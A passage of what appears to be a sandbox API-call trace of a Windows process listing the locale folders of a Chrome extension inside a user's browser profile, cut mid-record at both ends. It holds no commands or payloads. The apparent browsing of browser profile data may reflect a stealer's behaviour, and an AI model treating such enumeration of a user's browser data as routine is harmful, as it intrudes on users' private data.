ftCreationTime.dwLowDateTime=0x551c64bf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a0b75, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554a0b75, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.383] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551cd9ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551d0100, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551d0100, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0226.384] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551dc455, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551deb68, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551deb68, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0226.384] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551eaeb6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551efcd8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551efcd8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0226.384] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551f991d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551fe740, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551fe740, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0226.384] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5520aa75, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5520f8cf, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5520f8cf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0226.384] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5521bc05, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5521e318, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5521e318, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0226.384] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5522cd72, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55231ba1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55231ba1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0226.384] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5523b7c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55240602, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55240602, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0226.384] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5524a244, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5524f067, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5524f067, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0226.384] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5525b3bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5525dacb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5525dacb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0226.385] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5526c52f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5526ec42, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5526ec42, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1 [0226.385] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5527af93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5527fdb5, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5527fdb5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0226.385] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552899f4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5528e81a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5528e81a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0226.385] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5529845b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5529d27e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5529d27e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0226.385] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552a95cf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552abcd6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552abcd6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0226.385] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552b591e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552ba743, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552ba743, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0226.385] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552c91c0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552cdfe6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552cdfe6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0226.385] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552da308, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552df141, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552df141, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0226.386] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552e8d7f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552edba8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552edba8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0226.386] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552f9ef6, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x552fed19, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x552fed19, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0226.386] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5530895a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5530d780, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5530d780, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0226.386] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553173b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5531c1d8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5531c1d8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0226.386] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5532ac3c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5533217d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5533217d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0226.386] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5533e4cc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55340bdb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55340bdb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0226.386] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5534cf30, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5534f643, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5534f643, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0226.386] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5535b994, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553607b6, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553607b6, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0226.387] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5536f21e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5537402a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5537402a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0226.387] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5538038e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55382aa1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55382aa1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0226.387] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5538ede3, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55393c15, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55393c15, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0226.387] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5539d857, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553a2679, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553a2679, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0226.387] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553b37e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553b860f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553b860f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0226.387] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553c2245, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553c7077, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553c7077, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0226.387] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553d2122, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553d5bbe, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553d5bbe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0226.387] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553e6d3e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553ea7d4, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553ea7d4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0226.387] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553f6fa1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553fd14a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553fd14a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0226.388] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5541a6c7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55429128, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55429128, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0226.388] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5543548c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5543c9c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5543c9c1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0226.388] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55452973, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55457773, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55457773, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0226.388] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55463ac8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554661d8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554661d8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0226.388] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55479a4f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5547e881, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5547e881, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0226.388] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5548d2e2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5549481a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5549481a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0226.388] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x554a0b75, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a598b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554a598b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0226.388] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x1f6e8020 | out: lpFindFileData=0x1f6e8020*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.388] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0226.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8280) returned 1 [0226.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8240) returned 1 [0226.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0226.389] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar", lpFilePart=0x0) returned 0x7b [0226.389] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551cd9ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551d0100, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551d0100, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0226.390] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551cd9ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551d0100, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x551d0100, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.390] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551d0100, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x551d2808, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, 